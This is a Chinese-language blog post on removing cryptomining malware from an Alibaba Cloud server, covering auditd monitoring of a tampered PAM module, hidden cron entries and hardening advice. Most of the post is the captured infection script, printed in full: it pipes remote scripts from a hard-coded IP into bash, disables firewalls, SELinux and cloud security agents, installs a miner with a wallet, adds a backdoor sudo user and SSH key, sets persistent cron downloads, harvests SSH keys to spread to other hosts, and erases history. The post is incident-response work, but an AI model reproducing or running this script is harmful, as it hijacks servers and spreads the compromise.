清除阿里雲伺服器挖礦程式過程
阿新 • • 發佈：2022-04-01
目錄
1. 使用audit監控
現象
某天開始使用正確的使用者名稱/密碼無法SSH登入服務
即使用阿里雲的vnc登入，輸入完使用者名稱之後就出現login incorrect的錯誤。
檢視登入日誌如下：
通過工單請阿里雲運維幫忙解決，他們發現pam_unix.so檔案會被篡改。但是他們並未徹底解決問題。
使用stat檢視檔案的情況：
圖1：重新安裝pam之後的狀態
圖2：過幾分鐘發現pam_unix.so被修改了
從現象瞭解到我們的ssh登入被劫持了，以下是解決方法。
解決方法
1. 使用audit監控pam_unix.so
安裝方法參考：《在 Linux 下監控程式修改檔案》
（1） 配置監測規則
# vi /etc/audit/rules.d/audit.rules
-a always,exit -F path=/usr/lib64/security/pam_unix.so -F perm=warx -F key=keyword-for-filter-log
（2）重啟 audit 服務
service auditd restart
（3）檢查 audit 規則
# auditctl -l -a always,exit -F path=/path/to/file -F perm=warx -F key=pam_unix-filter
（4）重灌pam
# yum reinstall pam
（5）等待幾分鐘，檢視程式被修改情況
# ausearch -k pam_unix-filter
當時的日誌沒有保留，為了形象，貼出的是最近的日誌，也可以檢視上面阿里雲客服貼出的圖：
發現crond程式在修改檔案。可是使用crontab -l並沒有看到修改程式。
2. 查詢cron隱藏命令
（1）檢視當前的定時任務列表
# ll /var/spool/cron/
（2）檢視隱藏定時任務
# cat -A /var/spool/cron/root
發現該檔案裡面有許多我們不知道的定時任務：
從截圖可以看出：拷貝了我們伺服器上的部分檔案，然後將挖礦指令碼定時任務隱藏在了裡面。
其中crontab隱藏任務的方法可以參考：《linux-隱藏你的crontab後門》
刪除該檔案，用做研究，並依此刪除對應的檔案。
同時，篩選出所有的定時任務如下：
拷貝該定時任務指令碼出來，進行分析。
# mv /var/spool/cron/root /var/spool/cron/root.bk
# touch /var/spool/cron/root
挖礦指令碼分析
分析其中的一個指令碼 java88.sh，該指令碼的分析流程參考：《Linux watchdogs 感染性隱藏挖礦病毒入侵還原錄》
總結起來的步驟如下：
- 關閉定時任務
- 刪除ssh登入資訊
- 刪除下載的應用程式、其他指令碼
- 刪除建立的所有目錄
- 刪除重新命名的命令，可以使用
md5sum檢查。比如cd1這個命令與wget的md5值相同。
備註：需要對所有指令碼執行上面的步驟
指令碼內容如下：
#!/bin/bash -e
VERSION=2.22
if [ -f "/etc/.system/java/java8_8.log" ]
then
echo "process possible running"
current=$(date +%s)
last_modified=$(stat -c "%Y" /etc/.system/java/java8_8.log)
if [ $(($current-$last_modified)) -gt 600 ]; then
echo "no rr process running";
else
echo "rr process running"
exit 1
fi
else
echo "rr process not running"
fi
curl -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
cd1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
cc1 -fsSL http://65.108.48.150/java8-py/make-rr.sh | bash
export RRHOME=/etc/.system/java
mkdir $RRHOME -p
rm -rf /var/log/syslog
rm -rf /etc/.system/rtm
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
sudo sysctl kernel.nmi_watchdog=0
sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
chattr -iae /root/.ssh/
chattr -iae /root/.ssh/authorized_keys
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i '[a]liyun'; then
curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
pkill aliyun-service
rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
rm -rf /usr/local/aegis*
systemctl stop aliyun.service
systemctl disable aliyun.service
service bcm-agent stop
yum remove bcm-agent -y
apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi
if [ -f /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh ]; then
/usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh stop && /usr/local/cloudmonitor/wrapper/bin/cloudmonitor.sh remove && rm -rf /usr/local/cloudmonitor
else
export ARCH=amd64
if [ -f /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} ]; then
/usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} stop && /usr/local/cloudmonitor/CmsGoAgent.linux-${ARCH} uninstall && rm -rf /usr/local/cloudmonitor
else
echo "ali cloud monitor not running"
fi
fi
setenforce 0
echo SELINUX=disabled >/etc/selinux/config
service apparmor stop
systemctl disable apparmor
service aliyun.service stop
systemctl disable aliyun.service
ps aux | grep -v grep | grep 'aegis' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Yun' | awk '{print $2}' | xargs -I % kill -9 %
rm -rf /usr/local/aegis
echo "RR mining setup script v$VERSION."
echo
if [ "$(id -u)" == "0" ]; then
echo "WARNING: Generally it is not adviced to run this script under root"
fi
# command line arguments
WALLET=RGj5X7QRq53FRUjCC1pGE722LBYqbiEQm6
EMAIL=$1 # this one is optional
# active 1GB pages
sysctl -w vm.nr_hugepages=$(nproc)
for i in $(find /sys/devices/system/node/node* -maxdepth 0 -type d);
do
echo 3 > "$i/hugepages/hugepages-1048576kB/nr_hugepages";
done
echo "1GB pages successfully enabled"
# checking prerequisites
if [ -z $WALLET ]; then
echo "Script usage:"
echo "> setup_rr_miner.sh <wallet address> [<your email address>]"
echo "ERROR: Please specify your wallet address"
exit 1
fi
WALLET_BASE=`echo $WALLET | cut -f1 -d"."`
if [ ${#WALLET_BASE} != 95 -a ${#WALLET_BASE} != 34 ]; then
echo "ERROR: Wrong wallet base address length (should be 95 or 34): ${#WALLET_BASE}"
exit 1
fi
if [ -z $RRHOME ]; then
echo "ERROR: Please define HOME environment variable to your home directory"
exit 1
fi
if [ ! -d $RRHOME ]; then
echo "ERROR: Please make sure HOME directory $RRHOME exists or set it yourself using this command:"
echo ' export RRHOME=<dir>'
exit 1
fi
#check curl, wget
if ! command -v curl &> /dev/null
then
echo "curl could not be found, will install..."
apt-get install curl -y
yum install curl -y
fi
if ! command -v wget &> /dev/null
then
echo "wget could not be found, will install..."
apt-get install wget -y
yum install wget -y
fi
if ! type lscpu >/dev/null; then
echo "WARNING: This script requires \"lscpu\" utility to work correctly"
fi
if ! sudo -n true 2>/dev/null; then
echo "Since I can't do passwordless sudo, mining in background will started from your $RRHOME/.profile file first time you login this host after reboot."
else
echo "Mining in background will be performed using moneroocean_miner systemd service."
fi
# start doing stuff: preparing miner
echo "[*] Removing previous rr miner (if any)"
if sudo -n true 2>/dev/null; then
sudo systemctl stop java88.service
fi
killall -9 xmrig
echo "[*] Downloading rr advanced version of java8_8 to /tmp/"
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
curl -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cc1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8" -o $RRHOME/java8_8
cd1 -L --progress-bar "http://65.108.48.150/f220115rr/s/java8_8.pid" -o $RRHOME/java8_8.pid
chmod +x $RRHOME/java8_8
chmod +x $RRHOME/java8_8.pid
echo "[*] Miner $RRHOME/java8_8 is OK"
PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'`
sed -i 's/"1gb-pages": *false,/"1gb-pages": true,/' $RRHOME/java8_8.pid
sed -i 's/"algo": *null,/"algo": "gr",/' $RRHOME/java8_8.pid
sed -i 's/"tls": *false,/"tls": true,/' $RRHOME/java8_8.pid
sed -i 's/"keepalive": *false,/"keepalive": true,/' $RRHOME/java8_8.pid
sed -i 's/"url": *"[^"]*",/"url": "eu-rtm.pool-server.com:5555",/' $RRHOME/java8_8.pid
sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'.'$PASS'",/' $RRHOME/java8_8.pid
sed -i 's/"pass": *"[^"]*",/"pass": "x",/' $RRHOME/java8_8.pid
sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $RRHOME/java8_8.pid
sed -i 's#"log-file": *null,#"log-file": "'$RRHOME/java8_8.log'",#' $RRHOME/java8_8.pid
sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8.pid
sed -i 's/"max-threads-hint": *[^,]*,/"max-threads-hint": 75,/' $RRHOME/java8_8_background.pid
cp $RRHOME/java8_8.pid $RRHOME/java8_8_background.pid
sed -i 's/"background": *false,/"background": true,/' $RRHOME/java8_8_background.pid
# preparing script
echo "[*] Creating $RRHOME/miner.sh script"
cat >$RRHOME/miner.sh <<EOL
#!/bin/bash
if ! pidof java8_8 >/dev/null; then
nice $RRHOME/java8_8 \$*
else
echo "RAPTOREUM miner is already running in the background. Refusing to run another one."
echo "Run \"killall java8_8\" or \"sudo killall java8_8\" if you want to remove background miner first."
fi
EOL
chmod +x $RRHOME/miner.sh
# preparing script background work and work under reboot
if ! sudo -n true 2>/dev/null; then
if ! grep miner.sh $RRHOME/.profile >/dev/null; then
echo "[*] Adding $RRHOME/miner.sh script to $RRHOME/.profile"
echo "$RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1" >>$RRHOME/.profile
else
echo "Looks like $RRHOME/miner.sh script is already in the $RRHOME/.profile"
fi
echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
/bin/bash $RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1
else
if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then
echo "[*] Enabling huge pages"
echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf
sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc)))
fi
if ! type systemctl >/dev/null; then
echo "[*] Running miner in the background (see logs in $RRHOME/java8_8.log file)"
/bin/bash $RRHOME/miner.sh --config=$RRHOME/java8_8_background.pid >/dev/null 2>&1
echo "ERROR: This script requires \"systemctl\" systemd utility to work correctly."
echo "Please move to a more modern Linux distribution or setup miner activation after reboot yourself if possible."
else
echo "[*] Creating rr_miner systemd service"
cat >/tmp/java88.service <<EOL
[Unit]
Description=RTM miner service
[Service]
ExecStart=$RRHOME/java8_8 --config=$RRHOME/java8_8.pid
Restart=always
Nice=10
CPUWeight=1
[Install]
WantedBy=multi-user.target
EOL
sudo mv /tmp/java88.service /etc/systemd/system/java88.service
echo "[*] Starting rr_miner systemd service"
sudo killall xmrig 2>/dev/null
sudo systemctl daemon-reload
sudo systemctl enable java88.service
sudo systemctl start java88.service
echo "To see miner service logs run \"sudo journalctl -u rr_miner -f\" command"
fi
fi
echo ""
RSAKEY="ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWh4GJVPXi1DjSOxs4ytVtVT/XogOlBzAoWn5qE4yyO6EXRz1FhC+EVY9hmUcjMUN1Rp7dYZMLO1vsWhhpqmX9H0YWV2JfKixcXKE2eNrKxl45IRrhIRqNYzr/QnsmLdXZl5OLqoo587jwMCZeWB10NuOiUv5PKVCKUNtT2MQxKv/n5HleqY1Nn9uzFEiIkD39dmqm/4gKPbAcz3uXi31yVVSvUdmqoUoj8B/EdQn182z/Ix+WUJWAuYD2WTrhhYbcDvi+MSOm9ld7MgeOpxzLSEJjEja4+2EHD7dkoNLMD9/UH4FW3yzt3kTUBdaeGJN0mndoex3IggihB5dMjuTnKp25iv6xzYXRCaupxnsRN2rYQlbda8+jZOTxF+nwRGeX9QeSthlQzzZyxEHT7USxQCBpvlyyTZJ9ugX/j11XkKdAGzmKZGo7F0Qxp173eL0SH+6roqrQcXL85r5OPjUd9Xt9fHz2zskN/urYcp6Oi+9kjQgWY0NcjMu/H5YaPP8= [email protected]"
grep -q hilde /etc/passwd || chattr -ia /etc/passwd;
grep -q hilde /etc/passwd || echo 'hilde:x:1000:1000::/home/hilde:/bin/bash' >> /etc/passwd; chattr +ia /etc/passwd
grep -q hilde /etc/shadow || chattr -ia /etc/shadow;
grep -q hilde /etc/shadow || echo 'hilde:$6$7n/iy4R6znS2iq0J$QjcECLSqMMiUUeHR*&5kloie4iJmkHLzAwgoNRhCC87HI3df95nZH5569TKwJEN2I/lNanPe0vhsdgfILPXedlWlZn7lz0:18461:0:99999:7:::' >> /etc/shadow; chattr +ia /etc/shadow
grep -q hilde /etc/sudoers || chattr -ia /etc/sudoers;
grep -q hilde /etc/sudoers || echo 'hilde ALL=(ALL:ALL) ALL' >> /etc/sudoers; chattr +i /etc/sudoers
mkdir /run/network/.ssh/ -p
touch /run/network/.ssh/authorized_keys
touch /run/network/.ssh/authorized_keys2
chmod 600 /run/network/.ssh/authorized_keys
chmod 600 /run/network/.ssh/authorized_keys2
grep -q [email protected] /run/network/.ssh/authorized_keys || chattr -ia /run/network/.ssh/authorized_keys;
grep -q [email protected] /run/network/.ssh/authorized_keys || echo $RSAKEY > /run/network/.ssh/authorized_keys; chattr +ia /run/network/.ssh/authorized_keys;
grep -q [email protected] /run/network/.ssh/authorized_keys2 || chattr -ia /run/network/.ssh/authorized_keys2;
grep -q [email protected] /run/network/.ssh/authorized_keys2 || echo $RSAKEY > /run/network/.ssh/authorized_keys2; chattr +ia /run/network/.ssh/authorized_keys2;
mkdir /root/.ssh/ -p
touch /root/.ssh/authorized_keys
touch /root/.ssh/authorized_keys2
chmod 600 /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys2
grep -q [email protected] /root/.ssh/authorized_keys || chattr -ia /root/.ssh/authorized_keys;
grep -q [email protected] /root/.ssh/authorized_keys || echo $RSAKEY >> /root/.ssh/authorized_keys; chattr +ia /root/.ssh/authorized_keys
grep -q [email protected] /root/.ssh/authorized_keys2 || chattr -ia /root/.ssh/authorized_keys2;
grep -q [email protected] /root/.ssh/authorized_keys2 || echo $RSAKEY > /root/.ssh/authorized_keys2; chattr +ia /root/.ssh/authorized_keys2
echo "Port 11222" >> /etc/ssh/sshd_config
echo "Protocol 2" >> /etc/ssh/sshd_config
echo "ListenAddress 0.0.0.0" >> /etc/ssh/sshd_config
echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthorizedKeysFile .ssh/authorized_keys" >> /etc/ssh/sshd_config
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /etc/cron.d
chattr -R -ia /var/spool/cron/crontabs
crontab -r
rm -rf /var/spool/cron/*
rm -rf /etc/cron.d/*
rm -rf /var/spool/cron/crontabs
rm -rf /etc/crontab
crontab -l 2>/dev/null
echo "*/30 * * * * root curl -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cd1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo "*/30 * * * * root cc1 -fsSL http://65.108.48.150/f220305r/java8.sh | bash " >> /etc/crontab
echo crontab created
touch -d 20180515 /etc/crontab
chattr -R +ia /var/spool/cron
chattr +ia /etc/crontab
chattr -R +ia /var/spool/cron/crontabs
chattr -R +ia /etc/cron.d
touch -d 20151212 /etc/.system
touch -d 20181212 /etc/crontab
localgo() {
KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
USERZ=$(
echo "root"
find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
)
userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
for user in $userlist; do
for host in $hostlist; do
for key in $keylist; do
chmod +r $key; chmod 400 $key
ssh -o StrictHostKeyChecking=no -o BatchMode=yes -o ConnectTimeout=5 -i $key $user@$host "(curl -fsSL http://65.108.48.150/f220305r/java8.sh||cd1 -fsSL http://65.108.48.150/f220305r/java8.sh||cc1 -fsSL http://65.108.48.150/f220305r/java8.sh) | bash"
done
done
done
}
if [ ! -f "/var/tmp/.alsp" ];
then
localgo
echo 'lockfile' > /var/tmp/.alsp
chattr +i /var/tmp/.alsp
else
echo "replay .. i know this server ..."
exit
fi
mv /usr/bin/curl /usr/bin/cc1
mv /usr/bin/url /usr/bin/uu1
mv /usr/bin/wget /usr/bin/ww1
mv /usr/bin/get /usr/bin/wd1
mv /usr/bin/cd1 /usr/bin/cc1
echo "[*] Setup compXlete"
curl ldfx58.ceye.io
cd1 ldfx58.ceye.io
cc1 ldfx58.ceye.io
history -c
總結
從定時任務裡面看到如下資訊，懷疑此次挖礦的程式是通過redis的預設埠、帳號密碼登入進來
所以，以後安裝任何可以遠端訪問的服務：
（1）必須修改預設埠和帳號密碼，然後才能開放遠端訪問；
（2）並且儘量將許可權設定好一些。
（3）記得伺服器重要資料備份。
整個過程使用到的命令有：
- stat
- audit
- chattr
- ……